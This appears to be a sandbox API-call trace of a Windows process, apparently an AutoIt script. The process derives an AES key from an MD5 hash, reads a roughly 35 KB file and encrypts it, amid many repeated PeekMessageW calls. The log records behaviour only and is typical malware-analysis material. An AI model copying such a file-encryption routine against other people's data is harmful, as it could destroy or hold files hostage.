[0029.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.891] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.891] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.891] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.891] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.892] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.892] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.892] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b4b0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.892] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.892] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40625d0) returned 1 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.893] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.893] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.893] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.893] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.895] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.895] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x8c0b, lpOverlapped=0x0) returned 1 [0029.895] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.897] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.897] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.897] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.897] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.898] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.898] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.898] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.898] CryptGetKeyParam (in: hKey=0xe8f40625d0, dwParam=0x7, pbData=0xe8f4064d10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.898] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.898] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.898] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.898] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.899] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.899] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.899] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x8c0b, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x8c10) returned 1 [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.899] CharLowerBuffW (in: lpsz="byte[35857]", cchLength=0xb | out: lpsz="byte[35857]") returned 0xb [0029.899] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.900] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.900] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.900] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4394490*, pdwDataLen=0xe8f3dfdf68*=0x8c0b, dwBufLen=0x8c10 | out: pbData=0xe8f4394490*, pdwDataLen=0xe8f3dfdf68*=0x8c10) returned 1 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.900] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.900] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.901] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.901] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.904] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.904] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.904] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.904] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.904] CryptDestroyKey (hKey=0xe8f40625d0) returned 1 [0029.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.904] 